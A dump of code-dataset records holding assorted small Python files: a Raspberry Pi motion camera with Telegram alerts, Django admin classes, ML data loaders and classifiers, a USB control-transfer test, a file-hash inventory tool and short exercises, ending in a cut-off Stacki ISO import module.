f.seek(0)\n print(f.read())\n\nif __name__ == '__main__':\n #read_file()\n #write_file()\n read_and_write()","sub_path":"0408.py","file_name":"0408.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"390035221","text":"import RPi.GPIO as GPIO\nimport time\nimport datetime\nimport picamera\nimport os\nimport telebot\n\ncamera = picamera.PiCamera()\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(23, GPIO.IN) #PIR\nGPIO.setup(24, GPIO.OUT) #BUzzer\n\n'''\nts = time.time()\nst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n'''\n\nCHAT_ID = 1234567 # target chat_id AKA your user id, ideally\nBOT_TOKEN = 'your bot token here'\n\nbot = telebot.TeleBot(BOT_TOKEN)\n\nCOMMASPACE = ', '\n\ndef send_message(image):\n try:\n with open(image, 'rb') as f:\n bot.send_photo(CHAT_ID, f)\n print(\"Message sent!\")\n except:\n print(\"Unable to send the message. Error: \", sys.exc_info()[0])\n raise\n\n\n\ntry:\n time.sleep(2) # to stabilize sensor\n \n \n while True:\n ##Timeloop\n ts = time.time()\n st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n if GPIO.input(23):\n ##If loop\n GPIO.output(24, True)\n time.sleep(0.5) #Buzzer turns on for 0.5 sec\n print(\"Motion Detected at {}\".format(st))\n ##Adds timestamp to image\n camera.capture('image_Time_{}.jpg'.format(st))\n image = ('image_Time_{}.jpg'.format(st))\n send_message(image)\n time.sleep(2)\n GPIO.output(24, False)\n time.sleep(5) #to avoid multiple detection\n\n time.sleep(0.1) #loop delay, should be less than detection delay\n\nexcept:\n GPIO.cleanup()\n\n\n\n","sub_path":"PIR_Motion_Camera_Email.py","file_name":"PIR_Motion_Camera_Email.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"67275957","text":"from django.contrib import admin\n\nfrom band_app.models import Band, BandMember, Gig, Album, Song\n\n\n@admin.register(Band)\nclass BandAdmin(admin.ModelAdmin):\n \"\"\"Admin for the Band model\"\"\"\n\n list_display = [\n 'id',\n 'name'\n ]\n\n\n@admin.register(BandMember)\nclass BandMemberAdmin(admin.ModelAdmin):\n \"\"\"\"\"\"\n raw_id_fields = [\n 'band'\n ]\n\n list_display = [\n 'id',\n 'first_name',\n 'last_name',\n 'artist_name',\n 'instrument'\n ]\n\n\n@admin.register(Gig)\nclass GigAdmin(admin.ModelAdmin):\n \"\"\"\"\"\"\n raw_id_fields = [\n 'band'\n ]\n\n list_display = [\n 'id',\n 'country',\n 'town',\n 'venue',\n 'gig_date'\n ]\n\n\n@admin.register(Album)\nclass AlbumAdmin(admin.ModelAdmin):\n raw_id_fields = [\n 'band'\n ]\n list_display = [\n 'id',\n 'title',\n ]\n\n\n@admin.register(Song)\nclass SongAdmin(admin.ModelAdmin):\n raw_id_fields = [\n 'albums',\n 'lyrics_by',\n 'music_by'\n ]\n\n list_display = [\n 'title'\n ]","sub_path":"band_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"118474572","text":"import random\nimport torch\nimport torch.utils.data as udata\nfrom torchvision.transforms import transforms\nfrom PIL import Image\nfrom bidict import bidict\n\n\nclass MultiPIE(udata.Dataset):\n def __init__(self, files, parser, transform=None):\n super(MultiPIE, self).__init__()\n self.files = files\n self.parser = parser\n self.transform = transform\n self.views = bidict({'010':0, '240':1, '200':2, '190':3, '041':4, '050':5, '051':6, \n '140':7, '130':8, '080':9, '090':10, '120':11, '110':12})\n \n def __getitem__(self, idx):\n path1 = self.files[idx]\n pid = int(self.parser['pid'][idx])\n img1 = Image.open(path1)\n view1 = self.parser['cam'][idx]\n view1 = self.views[view1]\n img2, view2 = self.get_new_image(path1, view1)\n\n if self.transform is not None:\n img1 = self.transform(img1)\n img2 = self.transform(img2)\n\n return pid, img1, view1, img2, view2\n\n def get_new_image(self, path1, view1):\n choice = [x for x in range(13) if x != view1]\n view2 = random.choice(choice)\n view_str = self.views.inv[view2]\n tokens = path1.split('/')\n # new_dir_name = view_str[:-1]+'_'+view_str[-1]\n # tokens[-2] = new_dir_name\n file_name = tokens[-1]\n token = file_name.split('_')\n token[-4] = view_str\n new_file_name = ('_').join(token)\n path2 = ('/').join(tokens[:-1]+[new_file_name])\n\n img2 = Image.open(path2)\n\n return img2, view2\n\n def __len__(self):\n return len(self.files)\n\n\n# views = bidict({'010':0, '240':1, '200':2, '190':3, '041':4, '050':5, '051':6, \n# '140':7, '130':8, '080':9, '090':10, '120':11, '110':12})\n# path1 = '/home/owen/Documents/datasets/multi_PIE_crop_128/001/001_01_01_041_12_crop_128.png'\n# view1 = 0\n# choice = [x for x in range(13) if x != view1]\n# view2 = random.choice(choice)\n# view_str = views.inv[view2]\n# tokens = path1.split('/')\n# # new_dir_name = view_str[:-1]+'_'+view_str[-1]\n# # tokens[-2] = new_dir_name\n# file_name = tokens[-1]\n# token = file_name.split('_')\n# token[-4] = view_str\n# new_file_name = ('_').join(token)\n# path2 = ('/').join(tokens[:-1]+[new_file_name])\n# print(path2)","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"187646513","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom os import path\n\nfrom tensorflow.keras.layers import Dense, Conv1D, Input, BatchNormalization, GlobalAveragePooling1D\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.utils import plot_model\n\nIMAGE_PATH = 'output/fully_conv_batchnorm_1.png'\n\n\ndef get_model(embedding_layer, max_sequence_length, nb_labels):\n sequence_input = Input(shape=(max_sequence_length,), dtype='int32', name='sequence')\n embedded_sequence = embedding_layer(sequence_input)\n x = Conv1D(128, 5, activation='relu', padding='same')(embedded_sequence)\n x = BatchNormalization()(x)\n x = Conv1D(128, 5, activation='relu', padding='same')(x)\n x = BatchNormalization()(x)\n x = Conv1D(128, 5, activation='relu', padding='same')(x)\n x = BatchNormalization()(x)\n x = GlobalAveragePooling1D()(x)\n topic_pred = Dense(nb_labels, activation='softmax', name='topic')(x)\n\n model = Model(inputs=sequence_input, outputs=topic_pred, name='fully_conv_batchnorm_1')\n\n if not path.exists(IMAGE_PATH):\n plot_model(model, to_file=IMAGE_PATH, show_shapes=True)\n\n return model\n\n\ndef get_compiled_model(embedding_layer, max_sequence_length, nb_labels):\n model = get_model(embedding_layer, max_sequence_length, nb_labels)\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc'])\n\n return model\n","sub_path":"models/fully_conv_batchnorm_1.py","file_name":"fully_conv_batchnorm_1.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"78180059","text":"f = open('usersha1-artmbid-artname-plays.tsv', 'r')\ndata = f.read().split('\\n')\n\nusers = set()\nartists = set()\nartistname = {}\n\nfor i in range(len(data)):\n split = data[i].split('\\t')\n userhash = split[0]\n artisthash = split[1]\n users.add(userhash)\n artists.add(artisthash)\n\n artistname = split[2]\n plays = split[3]\n\nusers = list(users)\nartists = list(artists)\n","sub_path":"justin.py","file_name":"justin.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"523182209","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import defaultdict\n\nclass GridMap(object):\n def __init__(self):\n self.x_num_cells = 40\n self.y_num_cells = 40\n self.cell_size = 4.0\n self.x_range = self.x_num_cells/2*self.cell_size\n self.y_range = self.y_num_cells/2*self.cell_size\n self.height_threshold = 0.5\n self.point_strider = 10\n self.reset_grids()\n \n def point_to_cell(self,point):\n x = int((self.x_range-point[0])/self.cell_size)\n y = int((self.y_range-point[1])/self.cell_size)\n return (x,y)\n\n def cell_to_obj(self,label_output):\n pos_x = (self.x_num_cells/2-label_output[0])*self.cell_size\n pos_y = (self.x_num_cells/2-label_output[1])*self.cell_size\n #print (label_output[0],pos_x)\n #print (label_output[1],pos_y)\n length = label_output[2]*self.cell_size\n width = label_output[3]*self.cell_size\n return (pos_x,pos_y,length,width)\n\n def reset_grids(self):\n self.gridmap = np.zeros((self.x_num_cells,self.y_num_cells), dtype=np.uint8)\n self.dict_gridmap = defaultdict(list)\n \n def fill_point_cloud_in_grid(self,pc):\n self.reset_grids()\n for point in pc[1::self.point_strider]:\n self.dict_gridmap[self.point_to_cell(point)].append(point[2])\n for cell in self.dict_gridmap:\n self.gridmap[cell[0]][cell[1]] =max(self.dict_gridmap[cell])-min(self.dict_gridmap[cell])>self.height_threshold\n def print_parameters(self):\n print(\"'#X\", self.x_num_cells)\n print(\"'#Y\", self.y_num_cells) \n print(\"'CS\", self.cell_size)\n print(\"'XR\", self.x_range)\n print(\"'YR\", self.y_range)\n def display_grid_map(self):\n plt.imshow(self.gridmap,cmap='Greys', interpolation='nearest')\n plt.show()\n","sub_path":"gridmap.py","file_name":"gridmap.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"481222726","text":"from nltk.tokenize import sent_tokenize\nfrom nltk.tokenize import word_tokenize\nfrom util.Constants import *\nfrom joblib import Parallel, delayed\nimport multiprocessing\nimport unicodecsv as csv\nimport os\nimport io\n\n\nclass DatasetsUtil(object):\n '''@staticmethod\ndef updateTrainingDatasets4TopProperties(article, topProperties):\n\n def processInput(article, property):\n datasetPath = os.path.join(TRAINING_DATASETS_DIR, property + '.csv')\n\n with io.open(datasetPath, \"ab\") as datasetCodec:\n paramWriter = csv.writer(datasetCodec, quoting=csv.QUOTE_ALL, encoding=ENCODING)\n\n for param in article.getInfobox():\n if param.name.rstrip().strip() == property:\n completeText = article.getText()\n\n sentences = sent_tokenize(completeText)\n\n DatasetsUtil.writeDatasetsFromHeuristics(sentences, param, paramWriter)\n\n datasetCodec.close()\n\n num_cores = multiprocessing.cpu_count()\n Parallel(n_jobs=num_cores)(delayed(processInput)(article, property) for property in topProperties)\n\n@staticmethod\ndef updateTrainingDatasets4Property(article, property):\n datasetPath = os.path.join(TRAINING_DATASETS_DIR, property + '.csv')\n\n with io.open(datasetPath, \"ab\") as datasetCodec:\n paramWriter = csv.writer(datasetCodec, quoting=csv.QUOTE_ALL, encoding=ENCODING)\n\n for param in article.getInfobox():\n if param.name.rstrip().strip() == property:\n completeText = article.getText()\n\n sentences = sent_tokenize(completeText)\n\n DatasetsUtil.writeDatasetsFromHeuristics(sentences, param, paramWriter)\n\n datasetCodec.close()\n\n @staticmethod\ndef writeDatasetsFromHeuristics(sentences, param, paramWriter):\n matches = []\n for sentence in sentences:\n if param.value.rstrip().strip().lower() in word_tokenize(sentence):\n matches.append(sentence)\n\n if len(matches) == 1:\n paramWriter.writerow([param.name.rstrip().strip().lower(),\n param.value.rstrip().strip().lower(),\n sentence, 't'])\n\n elif len(matches) > 1:\n paramTokens = word_tokenize(param.name.rstrip().strip().lower())\n\n for sentence in matches:\n\n matchedTokens = 0\n for token in paramTokens:\n if token in word_tokenize(sentence):\n matchedTokens += 1\n\n if (matchedTokens / len(paramTokens)) >= 0.6:\n paramWriter.writerow([param.name.rstrip().strip().lower(),\n param.value.rstrip().strip().lower(),\n sentence, 't'])\n else:\n paramWriter.writerow([param.name.rstrip().strip().lower(),\n param.value.rstrip().strip().lower(),\n sentence, 'f'])'''\n\n @staticmethod\n def readDataset4Attribute(datasets_dir, attribute):\n\n examples = []\n datasetPath = os.path.join(datasets_dir, attribute + '.csv')\n\n with io.open(datasetPath, \"rb\") as datasetCodec:\n reader = csv.reader(datasetCodec, quoting=csv.QUOTE_ALL)\n data = {i: v for (i, v) in enumerate(reader)}\n for i in data:\n examples.append([data[i][0], data[i][1], data[i][2], data[i][3]])\n return examples\n\n @staticmethod\n def selectDatasetFields(examples, indexes):\n filteredFields = []\n\n for example in examples:\n temp = []\n for i in indexes:\n temp.append(example[i])\n filteredFields.append(temp)\n\n return filteredFields","sub_path":"data/DatasetsUtil.py","file_name":"DatasetsUtil.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"420654415","text":"import codecs\nimport time\n\nimport usb.core\nimport usb.util\n# USB BULK2\nVID = 0x03EB\nPID = 0x2040\n\n# Arduino\n# VID = 0x2341\n# PID = 0x0001\n\n\nVENDOR_IN_EPADDR = 0x83\nVENDOR_OUT_EPADDR = 0x04\nVENDOR_IO_EPSIZE = 64\nCONTROL_SEND_SIZE = 0x10\nCONTROL_SEND_USART = 0x11\nCMD_DATA_AVAILABLE = 0x31\nCMD_REQUEST_DATA = 0x32\n\nmsg = 'a\\n'.encode()\npkg = len(msg).to_bytes(2, 'little') + msg\nprint(msg)\n# pkg = msg\n\ndev = usb.core.find(idVendor=VID, idProduct=PID)\nif not dev:\n print(\"Could not find dev\")\n exit(1)\n\nif dev.is_kernel_driver_active(0):\n dev.detach_kernel_driver(0)\n dev.reset()\n\n\nprint(\"found dev\")\n# dev.set_configuration()\nprint(dev.ctrl_transfer(0x40, CONTROL_SEND_SIZE, 0, 0, len(pkg)))\n# print(dev.ctrl_transfer(0x40, CONTROL_SEND_USART, 0, 0, pkg))\ndev.set_configuration()\ndev.write(VENDOR_OUT_EPADDR, pkg, 500)\ntime.sleep(1)\navailable_data = 0\ncount = 0\nwhile available_data == 0:\n print(f'count = {count}')\n a = dev.ctrl_transfer(0xC0, CMD_DATA_AVAILABLE, 0, 0, 2)\n available_data = (a[1] << 4) + a[0]\n print(f\"available_data = {available_data}\") \\\n\n time.sleep(1)\n count += 1\n if count > 10:\n print('break')\n break\nif available_data:\n # pass\n print(dev.ctrl_transfer(0xC0, CMD_REQUEST_DATA, 0, 0, available_data))\n # ret = dev.read(VENDOR_IN_EPADDR, available_data, 1000)\n # print(ret)\n # s = \"\"\n # index = 0\n # for c in ret:\n # if 1 < index < len(msg) + 2:\n # s += chr(c)\n # index += 1\n # # print(chr(c))\n # print(s)\n # ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0,\n # data_or_wLength = None, timeout = None)\n # print(dev.ctrl_transfer(0xC0, CMD_REQUEST_DATA, 0, 0, available_data))\n # print(dev.read(VENDOR_IN_EPADDR, 1, 1000))\n # dev.ctrl_transfer(bmRequestType, bmRequest, wValue, wIndex ,msg or read len)\n # dev.ctrl_transfer(0x40, bmRequest, 0, 0, msg)\n\n\n","sub_path":"temp3.py","file_name":"temp3.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"206618771","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom itertools import combinations\n\nimport numpy as np\n\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import f_classif\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import RANSACRegressor\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors.nearest_centroid import NearestCentroid\n\ndef load_nebulosa_train():\n\treturn np.genfromtxt('nebulosa_train.txt', delimiter=' ', dtype=np.float64)\n\t\ndef load_nebulosa_test():\n\treturn np.genfromtxt('nebulosa_test.txt', delimiter=' ', dtype=np.float64)\n\n\n\ndef itemA():\n\ttrain_dataset = load_nebulosa_train();\n\t\n\ttrain_target = train_dataset[:,-1]\n\ttrain_dataset = train_dataset[:,:-1]\n\t\n\tnam_target = np.where(np.isnan(train_target))\n\ttrain_target = np.delete(train_target, nam_target)\n\ttrain_dataset = np.delete(train_dataset, nam_target, 0)\n\ttrain_dataset = np.nan_to_num(train_dataset)\n\t\n\t\n\ttest_dataset = load_nebulosa_test()\n\t\n\ttest_target = test_dataset[:,-1]\n\ttest_dataset = test_dataset[:,:-1]\n\t\n\tnam_target = np.where(np.isnan(test_target))\n\ttest_target = np.delete(test_target, nam_target)\n\ttest_dataset = np.delete(test_dataset, nam_target, 0)\n\ttest_dataset = np.nan_to_num(test_dataset)\n\t\n\tn_train_samples = train_dataset.shape[0]\n\tn_train_features = train_dataset.shape[1]\n\tprint(\"Nebulosa Train dataset: %d amostras(%d características)\" % (n_train_samples, n_train_features))\n\t\t\n\tn_test_samples = test_dataset.shape[0]\n\tn_test_features = test_dataset.shape[1]\n\tprint(\"Nebulosa Test dataset: %d amostras(%d características)\" % (n_test_samples, n_test_features))\n\t\n\t\n\tnn = KNeighborsClassifier(n_neighbors=1)\n\tnn.fit(train_dataset, train_target)\n\tnn_target_pred_test = nn.predict(test_dataset)\n\n\tnn_accuracy_test = accuracy_score(test_target, nn_target_pred_test)\n\tprint(\"NN: Acurácia (Teste): %.2f\" % (nn_accuracy_test))\n\n\t#train_target[18] = 1\n\tnc = NearestCentroid(metric='euclidean')\n\tnc.fit(train_dataset, train_target)\n\tnc_target_pred_test = nc.predict(test_dataset)\n\t#print(nc_target_pred_test)\n\t\n\tnc_accuracy_test = accuracy_score(test_target, nc_target_pred_test)\n\tprint(\"Rocchio: Acurácia (Teste): %.2f\" % (nc_accuracy_test))\n\ndef itemB():\n\ttrain_dataset = load_nebulosa_train();\n\t# remover missing values\n\t#print(train_dataset)\n\ttrain_dataset = train_dataset[~np.isnan(train_dataset).any(axis=1)]\n\ttrain_dataset = train_dataset[:,2:]\n\t\n\ttrain_target = train_dataset[:,-1]\n\ttrain_dataset = train_dataset[:,:-2]\n\t\n\t#train_dataset = normalize(train_dataset, axis=0)\n\t\n\ttest_dataset = load_nebulosa_test();\n\t#remover mising values\n\ttest_dataset = test_dataset[~np.isnan(test_dataset).any(axis=1)]\n\ttest_dataset = test_dataset[:,2:]\n\t\n\ttest_target = test_dataset[:,-1]\n\ttest_dataset = test_dataset[:,:-2]\n\t#print(test_dataset)\n\t#test_dataset = normalize(test_dataset, axis=1)\n\t#print(test_dataset)\n\t\n\tkbest = SelectKBest(f_classif, k=3).fit(train_dataset, train_target)\n\ttrain_dataset = kbest.transform(train_dataset)\n\ttest_dataset = kbest.transform(test_dataset)\n\t\n\t#print(train_dataset)\n\t \n\tn_train_samples = train_dataset.shape[0]\n\tn_train_features = train_dataset.shape[1]\n\t#print(\"Nebulosa Train dataset: %d amostras(%d características)\" % (n_train_samples, n_train_features))\n\t\t\n\tn_test_samples = test_dataset.shape[0]\n\tn_test_features = test_dataset.shape[1]\n\t#print(\"Nebulosa Test dataset: %d amostras(%d características)\" % (n_test_samples, n_test_features))\n\t\n\tnn = KNeighborsClassifier(n_neighbors=1)\n\tnn.fit(train_dataset, train_target)\n\tnn_target_pred_test = nn.predict(test_dataset)\n\n\tnn_accuracy_test = accuracy_score(test_target, nn_target_pred_test)\n\tprint(\"NN: Acurácia (Teste): %.2f\" % (nn_accuracy_test))\n\n\tnc = NearestCentroid(metric='euclidean')\n\tnc.fit(train_dataset, train_target)\n\tnc_target_pred_test = nc.predict(test_dataset)\n\n\tnc_accuracy_test = accuracy_score(test_target, nc_target_pred_test)\n\tprint(\"Rocchio: Acurácia (Teste): %.2f\" % (nc_accuracy_test))\n\t\nprint(\"===== Letra A\")\nitemA();\nprint(\"===== Letra B\")\nitemB();\n","sub_path":"nebulosa.py","file_name":"nebulosa.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"463610790","text":"from peewee import *\nfrom playhouse.apsw_ext import APSWDatabase\nimport os\nimport sys\nfrom tqdm import tqdm\nfrom classes.SampleHash import SampleHash\nfrom prefetch_generator import background\n\n\nclass Inventory(Model):\n file_hash = CharField(index=True)\n file_name = TextField(index=True)\n file_path = TextField()\n file_size = IntegerField()\n is_hashed = BooleanField(default=False)\n\n class Meta:\n database = None\n\n\nclass InventorySql:\n def __init__(self, database: str = None, path_to_scan: str=None, excludes: list=None) -> None:\n if database is not None:\n Inventory._meta.database = APSWDatabase(database)\n else:\n Inventory._meta.database = APSWDatabase('inventory.db')\n self.db = Inventory._meta.database\n self.db.connect()\n self.scan_path = path_to_scan\n self.file_count = 0\n self.excludes = excludes\n self.bad_paths = [str]\n self.result_items = [Inventory]\n if not Inventory.table_exists():\n self.db.create_tables([Inventory])\n\n def count_files(self):\n print(\"Getting files to inventory...\")\n for root, dirs, files in os.walk(self.scan_path):\n if root in self.excludes:\n del dirs[:]\n continue\n print(\"Scanning: {}\".format(root))\n self.file_count += len(files)\n\n def add_inventory_item(self, **kwargs):\n Inventory(**kwargs).save()\n\n def add_inventory_items(self, l: list):\n with self.db.atomic():\n for idx in range(0, len(l), 100):\n Inventory.insert_many(l[idx:idx+100]).execute()\n\n def first_pass(self):\n self.count_files()\n data_source = []\n pbar = tqdm(total=self.file_count, ascii=True, desc=\"Scanning to database: \")\n for root, dirs, files in os.walk(self.scan_path):\n if len(data_source) > 1000:\n self.add_inventory_items(data_source)\n pbar.update(len(data_source))\n data_source.clear()\n if root in self.excludes:\n del dirs[:]\n continue\n for f in files:\n fp = os.path.join(root, f)\n try:\n data_source.append({\n 'file_hash': '', 'file_name': f, 'file_path': fp, 'file_size': os.path.getsize(fp)\n })\n except FileNotFoundError as e:\n self.bad_paths.append(fp)\n\n if len(data_source) > 0:\n self.add_inventory_items(data_source)\n pbar.update(len(data_source))\n data_source.clear()\n pbar.close()\n\n with open(\"{}_bad_paths.tsv\".format(self.db.database), 'w') as fh:\n for p in self.bad_paths:\n fh.write(\"{}\\n\".format(p))\n\n def hash_files(self):\n batch = []\n lim = 1000\n print(\"Calculating files to Hash:...\")\n size_in_db = Inventory.select(fn.SUM(Inventory.file_size)).where(Inventory.is_hashed == False)\n fs = 0\n for r in size_in_db.execute():\n fs = r.file_size\n\n pbar = tqdm(total=fs, unit='B', ascii=True, unit_scale=True, unit_divisor=1024, desc=\"Bytes Hashed: \")\n for item in Inventory.select().where(Inventory.is_hashed == False).order_by(Inventory.file_size.desc()):\n if len(batch) > lim:\n self.do_gen(batch, pbar)\n batch.clear()\n batch.append(item)\n else:\n batch.append(item)\n self.do_gen(batch, pbar)\n pbar.close()\n\n def hash_empties(self):\n batch = []\n lim = 1000\n size_in_db = Inventory.select(fn.SUM(Inventory.file_size)).where(Inventory.file_hash == '')\n fs = 0\n for r in size_in_db.execute():\n fs = r.file_size\n\n pbar = tqdm(total=fs, unit='B', ascii=True, unit_scale=True, unit_divisor=1024, desc=\"Bytes Hashed: \")\n for item in Inventory.select().where(Inventory.file_hash == '').order_by(Inventory.file_size.desc()):\n if len(batch) > lim:\n self.do_gen(batch, pbar)\n batch.clear()\n batch.append(item)\n else:\n batch.append(item)\n self.do_gen(batch, pbar)\n pbar.close()\n\n def do_gen(self, batch: [Inventory], progress: tqdm):\n for inv_item, h, size in self.generator_hash(batch):\n inv_item.file_hash = h\n inv_item.is_hashed = True\n inv_item.save()\n progress.update(size)\n\n def fix_empties(self):\n for item in Inventory.select().where(Inventory.file_hash == '').order_by(Inventory.file_size.desc()):\n s = item.file_path.split(os.path.sep)\n q = Inventory.delete().where(Inventory.file_path == item.file_path)\n q.execute()\n\n @background(max_prefetch=8)\n def generator_hash(self, batch: list):\n for inv_item in batch:\n try:\n sh = SampleHash(inv_item.file_path)\n yield inv_item, sh.do_hash(), os.path.getsize(inv_item.file_path)\n except FileNotFoundError as e:\n print(e)\n yield inv_item, '', 0\n\n def get_duplicate_report(self):\n # TODO: build out this routine\n res = Inventory.raw(\"SELECT rowid, file_hash, file_size, COUNT(*) as count FROM inventory WHERE file_size != 0 \"\n \"group by file_hash \"\n \"having COUNT(*) > 1 ORDER BY count DESC\")\n total_count = 0\n rep_name = \"{}_duplicate_report.tsv\".format(self.db.database.replace(\".db\", \"\"))\n with open(rep_name, 'w') as fh:\n fh.write(\"{}\\t{}\\t{}\\n\".format(\"Hash\", \"Count\", \"Filename\"))\n print(\"Scanning database for duplicates.\")\n for inv in res:\n total_count += inv.count\n\n pbar = tqdm(total=total_count, ascii=True, desc=\"Writing Duplicate Report. {}\".format(rep_name))\n for inv in res:\n count = Inventory.select().where(Inventory.file_hash == inv.file_hash).count()\n s = \"{}\\t{}\\t{}\\n\".format(inv.file_hash, count, inv.file_path)\n fh.write(s)\n for item in Inventory.select().where(Inventory.file_hash == inv.file_hash):\n s = \"\\t\\t{}\\n\".format(item.file_path)\n fh.write(s)\n pbar.update(count)\n pbar.close()\n\n def has_hash(self, hsh: str):\n if Inventory.select().where(Inventory.file_hash == hsh).count() > 0:\n return True\n return False\n\n def iter_duplicates(self):\n res = Inventory.raw(\"SELECT rowid, file_hash, file_size, COUNT(*) as count FROM inventory WHERE file_size != 0 \"\n \"group by file_hash \"\n \"having COUNT(*) > 1 ORDER BY count DESC\")\n for inv in res:\n yield inv.file_hash\n\n def get_example(self, hsh: str) -> []:\n i = []\n for item in Inventory.select().where(Inventory.file_hash == hsh).limit(2):\n i.append(item)\n return i\n\n\ndef get_excludes(fn):\n excludes = []\n with open(fn, 'r') as fh:\n for line in fh.readlines():\n excludes.append(line.strip())\n return excludes\n\nif __name__ == \"__main__\":\n db_name = sys.argv[1]\n path_to_scan = sys.argv[2]\n pass_num = sys.argv[3]\n exclude = []\n if len(sys.argv) > 4:\n exclude = get_excludes(sys.argv[4])\n\n isql = InventorySql(db_name, path_to_scan, exclude)\n if pass_num == '1':\n isql.first_pass()\n isql.hash_files()\n if pass_num == '2':\n isql.hash_files()\n #isql.hash_empties()\n #isql.fix_empties()\n if pass_num == '3':\n isql.get_duplicate_report()\n","sub_path":"inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":7814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"5406734","text":"def rootPwr(num):\r\n rt = 0\r\n pwr = 6\r\n while (rt ** pwr) != abs(num):\r\n rt += 1\r\n if rt > num-1: # no root is bigger than its num\r\n pwr -= 1\r\n rt = 0\r\n if pwr < 0:\r\n return(\"There is no valid solution to this problem.\")\r\n\r\n return(\"The solution for int = {} is root = {} and pwr = {}.\".format(num, rt, pwr))\r\n\r\nprint(rootPwr(int(input(\"Input an integer: \"))))","sub_path":"rootPwr.py","file_name":"rootPwr.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"651240174","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 5 22:27:37 2016\n\n@author: leonardofsales\n\"\"\"\n\nnumberOfLoops = 0\nnumberOfApples = 2\nwhile numberOfLoops < 10:\n numberOfApples *= 2\n numberOfApples += numberOfLoops\n numberOfLoops -= 1\nprint(\"Number of apples: \" + str(numberOfApples))","sub_path":"ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"519873895","text":"import typer\n\n\ndef main(file: typer.FileBinaryWrite = typer.Option(...)):\n first_line_str = \"some settings\\n\"\n # You cannot write str directly to a binary file, you have to encode it to get bytes\n first_line_bytes = first_line_str.encode(\"utf-8\")\n # Then you can write the bytes\n file.write(first_line_bytes)\n # This is already bytes, it starts with b\"\n second_line = b\"la cig\\xc3\\xbce\\xc3\\xb1a trae al ni\\xc3\\xb1o\"\n file.write(second_line)\n typer.echo(\"Binary file written\")\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n","sub_path":"docs_src/parameter_types/file/tutorial004.py","file_name":"tutorial004.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"369108104","text":"import re\n\n# ex:- 1\npatterns = ['this','This','that']\ntext = 'Does this text match the pattern? this'\n\nfor pattern in patterns:\n print('looking for \"%s\" in %s'%(pattern,text) )\n\n if re.search(pattern,text):\n print (\"fount match\")\n else:\n print(\"not forund\")\n\n\n#ex:-2\n\npattern1 = \" this \"\ntext = 'Does this text match the pattern? this'\n\nmatch=re.search(pattern1,text)\n\nprint(match)\ns = match.start()\ne = match.end()\nprint(\"start:- %s end:- %s\"%(s,e))\n\n#ex:-3\n\n\n\n\n","sub_path":"regular_expression/re_search.py","file_name":"re_search.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"126924189","text":"# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n#\n\nimport os\nimport shlex\nimport subprocess\nimport stack.commands\nfrom stack.exception import CommandError\n\n\nclass Implementation(stack.commands.Implementation):\t\n\t\"\"\"\n\tCopy a SLES ISO to the frontend.\n\t\"\"\"\n\n\tname = None\n\tvers = None\n\trelease = None\n\tarch = None\n\n\tdef check_impl(self):\n\t\tif os.path.exists('/mnt/cdrom/content'):\n\t\t\tfile = open('/mnt/cdrom/content', 'r')\n\n\t\t\tfor line in file.readlines():\n\t\t\t\tl = line.split()\n\t\t\t\tif len(l) > 1:\n\t\t\t\t\tkey = l[0].strip()\n\t\t\t\t\tvalue = l[1].strip()\n\n\t\t\t\t\tif key == 'NAME':\n\t\t\t\t\t\tif value == 'SUSE_SLES':\n\t\t\t\t\t\t\tself.name = 